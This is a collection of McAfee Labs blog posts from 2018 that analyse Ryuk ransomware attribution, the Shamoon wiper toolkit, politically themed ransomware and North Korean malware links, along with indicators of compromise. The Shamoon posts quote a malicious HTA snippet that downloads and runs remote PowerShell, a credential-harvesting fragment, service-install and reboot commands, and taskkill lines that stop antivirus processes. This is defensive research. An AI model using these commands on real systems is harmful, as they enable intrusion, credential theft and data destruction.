This post contains a link to an article in the Russian security magazine Xakep.ru (“Hacker”) discussing the emergence of Ryuk and how it was first discovered by MalwareHunterTeam in August 2018. This first appearance came well before last week’s attack on newspaper printing services.

Manga connection

Ryuk, according to Wikipedia, refers to a Japanese manga character from the series “Death Note.” Ryuk apparently drops a death note, a fitting name for ransomware that drops ransom notes.

Ransomware is typically named by its cybercriminal developer, as opposed to the naming of state-sponsored malware, which is mostly is done by the security industry. It seems the criminals behind Ryuk are into manga.

The use of manga character names and references is common in the cybercriminal scene. We often come across manga-inspired nicknames and avatars in underground forums.

Technical indicators

Looking at research from our industry peers comparing Ryuk and Hermes, we notice that the functionalities are generally equal. We agree that the actors behind Ryuk have access to the Hermes source code.

Let’s dive a bit deeper into Ryuk and compare samples over the last couple of months regarding compilation times and the presence of program database (PDB) paths:

We can see the PDB paths are almost identical. When we compare samples from August and December 2018 and focus on the checksum values of the executables’ rich headers, they are also identical.

From a call-flow perspective, we notice the similarities and evolution of the code:

The Hermes 2.1 ransomware kit, renamed and redistributed as Ryuk.

The author and seller of Hermes 2.1 emphasizes that he is selling is a kit and not a service. This suggests that a buyer of the kit must do some fine tuning by setting up a distribution method (spam, exploit kit, or RDP, for example) and infrastructure to make Hermes work effectively. If changing a name and ransom note are part of these tuning options, then it is likely that Ryuk is an altered version Hermes 2.1.

Attribution: analyzing competing hypotheses

In the race to determine who is behind an attack, research facts (the What and How questions) are often put aside to focus on attribution (the Who question). Who did it? This pursuit is understandable yet fundamentally flawed. Attribution is crucial, but there will always be unanswered questions. Our approach focuses on answering the What and How questions by analyzing the malware, the infrastructure involved, and the incident response performed at the victim’s site.

Our approach is always to analyze competing hypotheses. When investigating an incident, we form several views and compare all the artifacts to support these hypotheses. We try not only to seek verifying evidence but also actively try to find evidence that falsifies a hypothesis. Keeping our eyes open for falsifying facts and constantly questioning our results are essential steps to avoid conformation bias. By following this method, we find the strongest hypothesis is not the one with the most verifying evidence, but the one with the least falsifying evidence.

Examining competing hypotheses is a scientific approach to investigating cyber incidents. It may not help with the race to attribution, but it ensures the output is based on available evidence.

The most likely hypothesis in the Ryuk case is that of a cybercrime operation developed from a tool kit offered by a Russian-speaking actor. From the evidence, we see sample similarities over the past several months that indicate a tool kit is being used. The actors have targeted several sectors and have asked a high ransom, 500 Bitcoin. Who is responsible? We do not know. But we do know how the malware works, how the attackers operate, and how to detect the threat. That analysis is essential because it allows us to serve our customers.

The post Ryuk Ransomware Attack: Rush to Attribution Misses the Point appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/ryuk-ransomware-attack-rush-to-attribution-misses-the-point/feed/ 0
Shamoon Attackers Employ New Tool Kit to Wipe Infected Systems https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/shamoon-attackers-employ-new-tool-kit-to-wipe-infected-systems/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/shamoon-attackers-employ-new-tool-kit-to-wipe-infected-systems/#respond Wed, 19 Dec 2018 21:45:13 +0000 https://securingtomorrow.mcafee.com/?p=93278

Last week the McAfee Advanced Threat Research team posted an analysis of a new wave of Shamoon “wiper” malware attacks that struck several companies in the Middle East and Europe. In that analysis we discussed one difference to previous Shamoon campaigns. The latest version has a modular approach that allows the wiper to be used […]

The post Shamoon Attackers Employ New Tool Kit to Wipe Infected Systems appeared first on McAfee Blogs.

]]>

Last week the McAfee Advanced Threat Research team posted an analysis of a new wave of Shamoon “wiper” malware attacks that struck several companies in the Middle East and Europe. In that analysis we discussed one difference to previous Shamoon campaigns. The latest version has a modular approach that allows the wiper to be used as a standalone threat.

After further analysis of the three versions of Shamoon and based on the evidence we describe here, we conclude that the Iranian hacker group APT33—or a group masquerading as APT33—is likely responsible for these attacks.

In the Shamoon attacks of 2016–2017, the adversaries used both the Shamoon Version 2 wiper and the wiper Stonedrill. In the 2018 attacks, we find the Shamoon Version 3 wiper as well as the wiper Filerase, first mentioned by Symantec.

These new wiper samples (Filerase) differ from the Shamoon Version 3, which we analyzed last week. The latest Shamoon appears to be part of a toolkit with several modules. We identified the following modules:

  • OCLC.exe: Used to read a list of targeted computers created by the attackers. This tool is responsible to run the second tool, spreader.exe, with the list of each targeted machine.
  • Spreader.exe: Used to spread the file eraser in each machine previously set. It also gets information about the OS version.
  • SpreaderPsexec.exe: Similar to spreader.exe but uses psexec.exe to remotely execute the wiper.
  • SlHost.exe: The new wiper, which browses the targeted system and deletes every file.

The attackers have essentially packaged an old version (V2) of Shamoon with an unsophisticated toolkit coded in .Net. This suggests that multiple developers have been involved in preparing the malware for this latest wave of attacks. In our last post, we observed that Shamoon is a modular wiper that can be used by other groups. With these recent attacks, this supposition seems to be confirmed. We have learned that the adversaries prepared months in advance for this attack, with the wiper execution as the goal.

This post provides additional insight about the attack and a detailed analysis of the .Net tool kit.

Geopolitical context

The motivation behind the attack is still unclear. Shamoon Version 1 attacked just two targets in the Middle East. Shamoon Version 2 attacked multiple targets in Saudi Arabia. Version 3 went after companies in the Middle East by using their suppliers in Europe, in a supply chain attack.

Inside the .Net wiper, we discovered the following ASCII art:

These characters resemble the Arabic text تَبَّتْ يَدَا أَبِي لَهَبٍ وَتَبَّ. This is a phrase from the Quran (Surah Masad, Ayat 1 [111:1]) that means “perish the hands of the Father of flame” or “the power of Abu Lahab will perish, and he will perish.” What does this mean in the context of a cyber campaign targeting energy industries in the Middle East?

Overview of the attack

 

How did the malware get onto the victim’s network?

We received intelligence that the adversaries had created websites closely resembling legitimate domains which carry job offerings. For example:

  • Hxxp://possibletarget.ddns.com:880/JobOffering.

Many of the URLs we discovered were related to the energy sector operating mostly in the Middle East. Some of these sites contained malicious HTML application files that execute other payloads. Other sites lured victims to login using their corporate credentials. This preliminary attack seems to have started by the end of August 2018, according to our telemetry, to gather these credentials.

A code example from one malicious HTML application file:

YjDrMeQhBOsJZ = “WS”

wcpRKUHoZNcZpzPzhnJw = “crip”

RulsTzxTrzYD = “t.Sh”

MPETWYrrRvxsCx = “ell”

PCaETQQJwQXVJ = (YjDrMeQhBOsJZ + wcpRKUHoZNcZpzPzhnJw + RulsTzxTrzYD + MPETWYrrRvxsCx)

OoOVRmsXUQhNqZJTPOlkymqzsA=new ActiveXObject(PCaETQQJwQXVJ)

ULRXZmHsCORQNoLHPxW = “cm”

zhKokjoiBdFhTLiGUQD = “d.e”

KoORGlpnUicmMHtWdpkRwmXeQN = “xe”

KoORGlpnUicmMHtWdp = “.”

KoORGlicmMHtWdp = “(‘http://mynetwork.ddns.net:880/*****.ps1’)

OoOVRmsXUQhNqZJTPOlkymqzsA.run(‘%windir%\\System32\\’ + FKeRGlzVvDMH + ‘ /c powershell -w 1 IEX (New-Object Net.WebClient)’+KoORGlpnUicmMHtWdp+’downloadstring’+KoORGlicmMHtWdp)

OoOVRmsXUQhNqZJTPOlkymqzsA.run(‘%windir%\\System32\\’ + FKeRGlzVvDMH + ‘ /c powershell -window hidden -enc

The preceding script opens a command shell on the victim’s machine and downloads a PowerShell script from an external location. From another location, it loads a second file to execute.

We discovered one of the PowerShell scripts. Part of the code shows they were harvesting usernames, passwords, and domains:

function primer {

if ($env:username -eq “$($env:computername)$”){$u=”NT AUTHORITY\SYSTEM”}else{$u=$env:username}

$o=”$env:userdomain\$u

$env:computername

$env:PROCESSOR_ARCHITECTURE

With legitimate credentials to a network it is easy to login and spread the wipers.

.Net tool kit

The new wave of Shamoon is accompanied by a .Net tool kit that spreads Shamoon Version 3 and the wiper Filerase.

This first component (OCLC.exe) reads two text files stored in two local directories. Directories “shutter” and “light” contain a list of targeted machines.

OCLC.exe starts a new hidden command window process to run the second component, spreader.exe, which spreads the Shamoon variant and Filerase with the concatenated text file as parameter.

The spreader component takes as a parameter the text file that contains the list of targeted machines and the Windows version. It first checks the Windows version of the targeted computers.

The spreader places the executable files (Shamoon and Filerase) into the folder Net2.

It creates a folder on remote computers: C:\\Windows\System32\Program Files\Internet Explorer\Signing.

The spreader copies the executables into that directory.

It runs the executables on the remote machine by creating a batch file in the administrative share \\RemoteMachine\admin$\\process.bat. This file contains the path of the executables. The spreader then sets up the privileges to run the batch file.

If anything fails, the malware creates the text file NotFound.txt, which contains the name of the machine and the OS version. This can be used by the attackers to track any issues in the spreading process.

The following screenshot shows the “execute” function:

If the executable files are not present in the folder Net2, it checks the folders “all” and Net4.

To spread the wipers, the attackers included an additional spreader using Psexec.exe, an administration tool used to remotely execute commands.

The only difference is that this spreader uses psexec, which is supposed to be stored in Net2 on the spreading machine. It could be used on additional machines to move the malware further.

The wiper contains three options:

  • SilentMode: Runs the wiper without any output.
  • BypassAcl: Escalates privileges. It is always enabled.
  • PrintStackTrace: Tracks the number of folders and files erased.

The BypassAcl option is always “true” even if the option is not specified. It enables the following privileges:

  • SeBackupPrivilege
  • SeRestorePrivilege
  • SeTakeOwnershipPrivilege
  • SeSecurityPrivilege

To find a file to erase, the malware uses function GetFullPath to get all paths.

It erases each folder and file.

The malware browses every file in every folder on the system.

To erase all files and folders, it first removes the “read only’ attributes to overwrite them.

It changes the creation, write, and access date and time to 01/01/3000 at 12:01:01 for each file.

The malware rewrites each file two times with random strings.

It starts to delete the files using the API CreateFile with the ACCESS_MASK DELETE flag.

Then it uses FILE_DISPOSITION_INFORMATION to delete the files.

The function ProcessTracker has been coded to track the destruction.

Conclusion

In the 2017 wave of Shamoon attacks, we saw two wipers; we see a similar feature in the December 2018 attacks. Using the “tool kit” approach, the attackers can spread the wiper module through the victims’ networks. The wiper is not obfuscated and is written in .Net code, unlike the Shamoon Version 3 code, which is encrypted to mask its hidden features.

Attributing this attack is difficult because we do not have all the pieces of the puzzle. We do see that this attack is in line with the Shamoon Version 2 techniques. Political statements have been a part of every Shamoon attack. In Version 1, the image of a burning American flag was used to overwrite the files. In Version 2, the picture of a drowned Syrian boy was used, with a hint of Yemeni Arabic, referring to the conflicts in Syria and Yemen. Now we see a verse from the Quran, which might indicate that the adversary is related to another Middle Eastern conflict and wants to make a statement.

When we look at the tools, techniques, and procedures used during the multiple waves, and by matching the domains and tools used (as FireEye described in its report), we conclude that APT33 or a group attempting to appear to be APT33 is behind these attacks.

 

Coverage

The files we detected during this incident are covered by the following signatures:

  • Trojan-Wiper
  • RDN/Generic.dx
  • RDN/Ransom

Indicators of compromise

Hashes

  • OCLC.exe: d9e52663715902e9ec51a7dd2fea5241c9714976e9541c02df66d1a42a3a7d2a
  • Spreader.exe: 35ceb84403efa728950d2cc8acb571c61d3a90decaf8b1f2979eaf13811c146b
  • SpreaderPsexec.exe: 2ABC567B505D0678954603DCB13C438B8F44092CFE3F15713148CA459D41C63F
  • Slhost.exe: 5203628a89e0a7d9f27757b347118250f5aa6d0685d156e375b6945c8c05eb8a

File paths and filenames

  • C:\net2\
  • C:\all\
  • C:\net4\
  • C:\windows\system32\
  • C:\\Windows\System32\Program Files\Internet Explorer\Signing
  • \\admin$\process.bat
  • NothingFound.txt
  • MaintenaceSrv32.exe
  • MaintenaceSrv64.exe
  • SlHost.exe
  • OCLC.exe
  • Spreader.exe
  • SpreaderPsexec.exe

Some command lines

  • cmd.exe /c “”C:\Program Files\Internet Explorer\signin\MaintenaceSrv32.bat
  • cmd.exe /c “ping -n 30 127.0.0.1 >nul && sc config MaintenaceSrv binpath= C:\windows\system32\MaintenaceSrv64.exe LocalService” && ping -n 10 127.0.0.1 >nul && sc start MaintenaceSrv
  • MaintenaceSrv32.exe LocalService
  • cmd.exe /c “”C:\Program Files\Internet Explorer\signin\MaintenaceSrv32.bat ” “
  • MaintenaceSrv32.exe service

 

 

 

 

 

The post Shamoon Attackers Employ New Tool Kit to Wipe Infected Systems appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/shamoon-attackers-employ-new-tool-kit-to-wipe-infected-systems/feed/ 0
Shamoon Returns to Wipe Systems in Middle East, Europe https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/shamoon-returns-to-wipe-systems-in-middle-east-europe/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/shamoon-returns-to-wipe-systems-in-middle-east-europe/#respond Fri, 14 Dec 2018 20:32:41 +0000 https://securingtomorrow.mcafee.com/?p=93157

Destructive malware has been employed by adversaries for years. Usually such attacks are carefully targeted and can be motivated by ideology, politics, or even financial aims. Destructive attacks have a critical impact on businesses, causing the loss of data or crippling business operations. When a company is impacted, the damage can be significant. Restoration can […]

The post Shamoon Returns to Wipe Systems in Middle East, Europe appeared first on McAfee Blogs.

]]>

Destructive malware has been employed by adversaries for years. Usually such attacks are carefully targeted and can be motivated by ideology, politics, or even financial aims.

Destructive attacks have a critical impact on businesses, causing the loss of data or crippling business operations. When a company is impacted, the damage can be significant. Restoration can take weeks or months, while resulting in unprofitability and diminished reputation.

Recent attacks have demonstrated how big the damage can be. Last year NotPetya affected several companies around the world. Last February, researchers uncovered OlympicDestroyer, which affected the Olympic Games organization.

Shamoon is destructive malware that McAfee has been monitoring since its appearance. The most recent wave struck early this month when the McAfee Foundstone Emergency Incident Response team reacted to a customer’s breach and identified the latest variant. Shamoon hit oil and gas companies in the Middle East in 2012 and resurfaced in 2016 targeting the same industry. This threat is critical for businesses; we recommend taking appropriate actions to defend your organizations.

During the past week, we have observed a new variant attacking several sectors, including oil, gas, energy, telecom, and government organizations in the Middle East and southern Europe.

Similar to the previous wave, Shamoon Version 3 uses several mechanisms as evasion techniques to bypass security as well to circumvent analysis and achieve its ends. However, its overall behavior remains the same as in previous versions, rendering detection straightforward for most antimalware engines.

As in previous variants, Shamoon Version 3 installs a malicious service that runs the wiper component. Once the wiper is running, it overwrites all files with random rubbish and triggers a reboot, resulting in a “blue screen of death” or a driver error and making the system inoperable. The variant can also enumerate the local network, but in this case does nothing with that information. This variant has some bugs, suggesting the possibility that this version is a beta or test phase.

The main differences from earlier versions are the name list used to drop the malicious file and the fabricated service name MaintenaceSrv (with “maintenance” misspelled). The wiping component has also been designed to target all files on the system with these options:

  • Overwrite file with garbage data (used in this version and the samples we analyzed)
  • Overwrite with a file (used in Shamoon Versions 1 and 2)
  • Encrypt the files and master boot record (not used in this version)

Shamoon is modular malware: The wiper component can be reused as a standalone file and weaponized in other attacks, making this threat a high risk. The post presents our findings, including a detailed analysis and indicators of compromise.

Analysis

Shamoon is a dropper that carries three resources. The dropper is responsible for collecting data as well as embedding evasion techniques such as obfuscation, antidebugging, or antiforensic tricks. The dropper requires an argument to run.

It decrypts the three resources and installs them on the system in the %System% folder. It also creates the service MaintenaceSrv, which runs the wiper. The typo in the service name eases detection.

The Advanced Threat Research team has watched this service evolve over the years. The following tables highlight the differences:


The wiper uses ElRawDisk.sys to access the user’s raw disk and overwrites all data in all folders and disk sectors, causing a critical state of the infected machine before it finally reboots.

The result is either a blue screen or driver error that renders the machine unusable.

Overview

Dropper

Executable summary

The dropper contains other malicious components masked as encrypted files embedded in PE section.

These resources are decrypted by the dropper and contain:

  • MNU: The communication module
  • LNG: The wiper component
  • PIC: The 64-bit version of the dropper

Shamoon 2018 needs an argument to run and infect machines. It decrypts several strings in memory that gather information on the system and determine whether to drop the 32-bit or 64-bit version.

It also drops the file key8854321.pub (MD5: 41f8cd9ac3fb6b1771177e5770537518) in the folder c:\Windows\Temp\key8854321.pub.

The malware decrypts two files used later:

  • C:\Windows\inf\mdmnis5tQ1.pnf
  • C:\Windows\inf\averbh_noav.pnf

Shamoon enables the service RemoteRegistry, which allows a program to remotely modify the registry. It also disables remote user account control by enabling the registry key LocalAccountTokenFilterPolicy.

The malware checks whether the following shares exist to copy itself and spread:

  • ADMIN$
  • C$\WINDOWS
  • D$\WINDOWS
  • E$\WINDOWS

Shamoon queries the service to retrieve specific information related to the LocalService account.

It then retrieves the resources within the PE file to drop the components. Finding the location of the resource:

Shamoon creates the file and sets the time to August 2012 as an antiforensic trick. It puts this date on any file it can destroy.

The modification time can be used as an antiforensic trick to bypass detection based on the timeline, for example. We also observed that in some cases the date is briefly modified on the system, faking the date of each file. The files dropped on the system are stored in C:\\Windows\System32\.

Before creating the malicious service, Shamoon elevates its privilege by impersonating the token. It first uses LogonUser and ImpersonateLoggedOnUser, then ImpersonateNamedPipeClient. Metasploit uses a similar technique to elevate privileges.

Elevating privileges is critical for malware to perform additional system modifications, which are usually restricted.

Shamoon creates the new malicious service MaintenaceSrv. It creates the service with the option Autostart (StartType: 2) and runs the service with its own process (ServiceType: 0x10):

If the service is already created, it changes the configuration parameter of the service with the previous configuration.

It finally finishes creating MaintenaceSrv:

The wiper dropped on the system can have any one of the following names:

 

 

Next the wiper runs to destroy the data.

Wiper

The wiper component is dropped into the System32 folder. It takes one parameter to run. The wiper driver is embedded in its resources.

We can see the encrypted resources, 101, in this screenshot:

The resource decrypted is the driver ElRawDisk.sys, which wipes the disk.

Extracting the resource:

This preceding file is not malicious but is considered risky because it is the original driver.

The wiper creates a service to run the driver with the following command:

sc create hdv_725x type= kernel start= demand binpath= WINDOWS\hdv_725x.sys 2>&1 >nul

 

The following screenshot shows the execution of this command:

 

The malware overwrites every file in c:\Windows\System32, placing the machine in a critical state. All the files on the system are overwritten.

The overwriting process:

Finally, it forces the reboot with the following command:

Shutdown -r -f -t 2

 

Once the system is rebooted it shows a blue screen:

Worm

The worm component is extracted from the resources from the dropper. Destructive malware usually uses spreading techniques to infect machines as quickly as possible.

The worm component can take the following names:

We noticed the capability to scan for the local network and connect to a potential control server:

Although the worm component can spread the dropper and connect to a remote server, the component was not used in this version.

Conclusion

Aside from the major destruction this malware can cause, the wiper component can be used independently from the dropper. The wiper does not have to rely on the main stub process. The 2018 Shamoon variant’s functionality indicates modular development. This enables the wiper to be used by malware droppers other than Shamoon.

Shamoon is showing signs of evolution; however, these advancements did not escape detection by McAfee DATs. We expect to see additional attacks in the Middle East (and beyond) by these adversaries. We will continue to monitor our telemetry and will update this analysis as we learn more.

MITRE ATT&CK™ matrix

Indicators of compromise

df177772518a8fcedbbc805ceed8daecc0f42fed                    Original dropper x86
ceb7876c01c75673699c74ff7fac64a5ca0e67a1                    Wiper
10411f07640edcaa6104f078af09e2543aa0ca07                   Worm module
43ed9c1309d8bb14bd62b016a5c34a2adbe45943               key8854321.pub
bf3e0bc893859563811e9a481fde84fe7ecd0684                  RawDisk driver

 

McAfee detection

  • Trojan-Wiper!DE07C4AC94A5
  • RDN/Generic.dx
  • Trojan-Wiper

The post Shamoon Returns to Wipe Systems in Middle East, Europe appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/shamoon-returns-to-wipe-systems-in-middle-east-europe/feed/ 0
‘McAfee Labs Threats Report’ Highlights Cryptojacking, Blockchain, Mobile Security Issues https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-labs-threats-report-highlights-cryptojacking-blockchain-mobile-security-issues/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-labs-threats-report-highlights-cryptojacking-blockchain-mobile-security-issues/#respond Tue, 25 Sep 2018 04:00:42 +0000 https://securingtomorrow.mcafee.com/?p=91541 As we look over some of the key issues from the newly released McAfee Labs Threats Report, we read terms such as voice assistant, blockchain, billing fraud, and cryptojacking.

The post ‘McAfee Labs Threats Report’ Highlights Cryptojacking, Blockchain, Mobile Security Issues appeared first on McAfee Blogs.

]]>
As we look over some of the key issues from the newly released McAfee Labs Threats Report, we read terms such as voice assistant, blockchain, billing fraud, and cryptojacking. Although voice assistants fall in a different category, the other three are closely linked and driven by the goal of fast, profitable attacks that result in a quick return on a cybercriminal’s investment.

One of the most significant shifts we see is that cryptojacking is still on the rise, while traditional ransomware attacks—aka “shoot and pray they pay”—are decreasing. Ransomware attacks are becoming more targeted as actors conduct their research to pick likely victims, breach their networks, and launch the malware followed by a high-pressure demand to pay the ransom. Although the total number of ransomware samples has fallen for two quarters, one family continues to spawn new variants. The Scarab ransomware family, which entered the threat landscape in June 2017, developed a dozen new variants in Q2. These variants combined make up more than 50% of the total number of Scarab samples to date.

What spiked the movement, starting in fall 2017, toward cryptojacking? The first reason is the value of cryptocurrency. If attacker can steal Bitcoins, for example, from a victim’s system, that’s enough. If direct theft is not possible, why not mine coins using a large number of hijacked systems. There’s no need to pay for hardware, electricity, or CPU cycles; it’s an easy way for criminals to earn money. We once thought that CPUs in routers and video-recording devices were useless for mining, but default or missing passwords wipe away this view. If an attacker can hijack enough systems, mining in high volume can be profitable. Not only individuals struggle with protecting against these attacks; companies suffer from them as well.

Securing cloud environments can be a challenge. Building applications in the cloud with container technology is effective and fast, but we also need to create the right amount of security controls. We have seen breaches in which bad actors uploaded their own containers and added them to a company’s cloud environment—which started to mine cryptocurrency.

New technologies and improvements to current ones are great, but we need to find the balance of securing them appropriately. Who would guess to use an embedded voice assistant to hack a computer? Who looks for potential attack vectors in new technologies and starts a dialog with the industry? One of those is the McAfee Advanced Threat Research team, which provides most of the analysis behind our threats reports. With a mix of the world’s best researchers in their key areas, they take on the challenge of making the (cyber) world safer. From testing vulnerabilities in new technologies to examining malware and the techniques of nation-state campaigns, we responsibly disclose our research to organizations and the industry. We take what we learn from analyzing attacks to evaluate, adapt, and innovate to improve our technology.

The post ‘McAfee Labs Threats Report’ Highlights Cryptojacking, Blockchain, Mobile Security Issues appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-labs-threats-report-highlights-cryptojacking-blockchain-mobile-security-issues/feed/ 0
Political Figures Differ Online: Names of Trump, Obama, Merkel Attached to Ransomware Campaigns https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/political-figures-differ-online-names-of-trump-obama-merkel-attached-to-ransomware-campaigns/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/political-figures-differ-online-names-of-trump-obama-merkel-attached-to-ransomware-campaigns/#respond Tue, 18 Sep 2018 04:01:37 +0000 https://securingtomorrow.mcafee.com/?p=91510 Politics and ransomware. No, it’s not a lost single from the Oasis back catalogue, but in fact a relatively recent tactic by ransomware developers looking to exploit the profiles of major politicians to install ransomware on victims’ computers. Donald Trump, Angela Merkel, and now Barack Obama all serve as lures for the unsuspecting. Despite its […]

The post Political Figures Differ Online: Names of Trump, Obama, Merkel Attached to Ransomware Campaigns appeared first on McAfee Blogs.

]]>
Politics and ransomware. No, it’s not a lost single from the Oasis back catalogue, but in fact a relatively recent tactic by ransomware developers looking to exploit the profiles of major politicians to install ransomware on victims’ computers. Donald Trump, Angela Merkel, and now Barack Obama all serve as lures for the unsuspecting. Despite its claims, does the “Obama campaign” deliver the ransomware it advertises? Well, perhaps not.

The Obama campaign

Recently identified by the MalwareHunterTeam and documented by Bleeping Computer, the Obama campaign displayed some confusing characteristics. For example, it encrypted only .exe files and asked for a tip to decrypt the files. This campaign does not behave like normal ransomware variants, which typically target user data files rather than .exe files.

This unorthodoxy got us thinking: Was there a nation-state behind this campaign? At present, there is not enough evidence to confirm its source, although the language resources are in simplified Chinese. We discovered the following graph inside the ransomware:

As the MalwareHunterTeam documented, the ransomware attempts to kill processes associated with certain antimalware products:

  • .rdata:004DAC80 0000001B C taskkill /f /im kavsvc.exe
  • .rdata:004DAC9B 00000019 C taskkill /f /im KVXP.kxp
  • .rdata:004DACB4 00000018 C taskkill /f /im Rav.exe
  • .rdata:004DACCC 0000001B C taskkill /f /im Ravmon.exe
  • .rdata:004DACE7 0000001D C taskkill /f /im Mcshield.exe
  • .rdata:004DAD04 0000001D C taskkill /f /im VsTskMgr.exe
  • .rdata:004DAD21 00000024 C SOFTWARE\\360Safe\\safemon\\ExecAccess
  • .rdata:004DAD45 00000023 C SOFTWARE\\360Safe\\safemon\\MonAccess
  • .rdata:004DAD68 00000024 C SOFTWARE\\360Safe\\safemon\\SiteAccess
  • .rdata:004DAD8C 00000025 C SOFTWARE\\360Safe\\safemon\\UDiskAccess

Note, however, that the access protection enabled within McAfee software prevented the termination of this process:

These curiosities made us wonder about the purpose of the ransomware. Was this indeed ransomware and, if so, why encrypt only .exe files? Our initial suspicions were immediately confirmed when we found a cryptocurrency coin mining component within the malware. In fact, the miner sample was almost identical to the ransomware component, with almost 80% code reuse. These similarities are highlighted below.

Executable extension search function:

Code flow in the “Obama campaign” ransomware.

Code flow in the coin miner sample.

We also found this URL pointing to an FTP server:

  • FtpMoney812345 db ‘ftp://money8:12345678@xxxxxxxxxx.net/88.txt

The Trump campaign

A ransomware campaign leveraging images of Donald Trump has been previously documented. Is it possible that the two politicians are aligned with the same cybercriminal group looking to exploit their profiles?

  

As previously reported, this variant was only a development version—encrypting files with AES and using the following .encrypted extension:

However, this ransomware can “decrypt” the files if one clicks on an “unlock files” button.

Code referencing decryption by button click:

And for unlocking files:

The Angela Merkel campaign 

 

The use of Angela Merkel and her profile is new to the discussion. “Her” campaign encrypts files using the .angelamerkel extension. The original name of this ransomware was ChromeUpadter.exe; it also uses AES to encrypt files. It employs the Euro in its ransom demands. Perhaps a European figure evokes the Euro?

This ransomware encrypts the following files:

Malware developers are fond of exploiting famous names to lure unsuspecting victims. Although it would be simple to claim an increase in politically motivated ransomware, or rather ransomware that leverages the profiles of political figures, there is no significant evidence to suggest they are from the same threat actor. Equally, these campaigns might not even be ransomware, certainly in the case of the Obama campaign.

Does this examination suggest three separate campaigns? There are some links and, no, they are not between Obama and Trump. The Trump and Merkel ransomware are 46% identical in code. We are left wondering whose campaign is the most successful. We shall see.

The post Political Figures Differ Online: Names of Trump, Obama, Merkel Attached to Ransomware Campaigns appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/political-figures-differ-online-names-of-trump-obama-merkel-attached-to-ransomware-campaigns/feed/ 0
McAfee ePO Platform Gains Insight Into Threat Research https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-epo-platform-gains-insight-into-threat-research/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-epo-platform-gains-insight-into-threat-research/#respond Tue, 14 Aug 2018 21:49:25 +0000 https://securingtomorrow.mcafee.com/?p=90918 The latest update to the McAfee® ePolicy Orchestrator® platform offers a new add-in to provide insight into the latest analysis carried out by McAfee Labs and the Advanced Threat Research team.

The post McAfee ePO Platform Gains Insight Into Threat Research appeared first on McAfee Blogs.

]]>
The latest update to the McAfee® ePolicy Orchestrator® platform offers a new add-in to provide insight into the latest analysis carried out by McAfee Labs and the Advanced Threat Research team. The Security Resources section of the McAfee ePO™ console Version 5.10.0 will contain multiple windows providing the latest news.

The first window in the section shows an updated list of the most recent threats research published by the McAfee Labs team. This includes both malware and vulnerability research. For example, this week we released a report that shows it is possible to emulate and modify a patient’s vital signs in real time on a medical network using a patient monitor and central monitoring station. We also include research related to new malware campaigns. All our content is mapped to the MITRE ATT&CK framework and includes all known indicators of compromise, as well as detailing how McAfee products protect against the documented campaign.

Top threats

The section includes a condensed version of the Threat Landscape Dashboard, which contains the top threats across exploit kits, campaigns, ransomware, and vulnerabilities. The following screen shows how the summary will appear in the McAfee ePO console, allowing readers to easily review and click through these threats for more detail.

The latest McAfee ePO console will offer an easy review of analysis gathered by McAfee Labs and the Advanced Threat Research team.

Top stories
Want to know more? The Top Stories section offers the latest information from McAfee news sources, including new product releases and new blog content (beyond threats analysis).

Support and product advisories

At the bottom right of the screen you will find Security Product Advisories:

  • Support Notification Service: McAfee SNS is a proactive notification service that allows McAfee to communicate critical information in a timely manner on product upgrades, releases, and end-of-life notices. SNS is a vital information link during critical incidents, providing you with the updates you need to ensure that your systems and organization are protected.
  • Product Security Bulletins: McAfee is focused on ensuring the security of our customers’ computers, networks, devices, and data. We are committed to rapidly addressing issues as they arise, and providing recommendations through security bulletins and knowledgebase articles.
  • McAfee Labs Security Advisories: These are a free notification service backed by our global research team. McAfee Labs Security Advisories map high-profile threats to the McAfee technologies that protect your environment.

What next?

You can expect the dashboard to evolve and provide more detail in future versions. Please let us know what you would like to see.

 

The post McAfee ePO Platform Gains Insight Into Threat Research appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-epo-platform-gains-insight-into-threat-research/feed/ 0
Examining Code Reuse Reveals Undiscovered Links Among North Korea’s Malware Families https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/examining-code-reuse-reveals-undiscovered-links-among-north-koreas-malware-families/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/examining-code-reuse-reveals-undiscovered-links-among-north-koreas-malware-families/#respond Thu, 09 Aug 2018 13:00:14 +0000 https://securingtomorrow.mcafee.com/?p=90674 Attacks from the online groups Lazarus, Silent Chollima, Group 123, Hidden Cobra, DarkSeoul, Blockbuster, Operation Troy, and 10 Days of Rain are believed to have come from North Korea. But how can we know with certainty?

The post Examining Code Reuse Reveals Undiscovered Links Among North Korea’s Malware Families appeared first on McAfee Blogs.

]]>
This research is a joint effort by Jay Rosenberg, senior security researcher at Intezer, and Christiaan Beek, lead scientist and senior principal engineer at McAfee. Intezer has also posted this story. 

Attacks from the online groups Lazarus, Silent Chollima, Group 123, Hidden Cobra, DarkSeoul, Blockbuster, Operation Troy, and 10 Days of Rain are believed to have come from North Korea. But how can we know with certainty? And what connection does a DDoS and disk-wiping attack from July 4, 2009, have with WannaCry, one of the largest cyberattacks in the history of the cyber sphere?  

From the Mydoom variant Brambul to the more recent Fallchill, WannaCry, and the targeting of cryptocurrency exchanges, we see a distinct timeline of attacks beginning from the moment North Korea entered the world stage as a significant threat actor.

Bad actors have a tendency to unwittingly leave fingerprints on their attacks, allowing researchers to connect the dots between them. North Korean actors have left many of these clues in their wake and throughout the evolution of their malware arsenal.

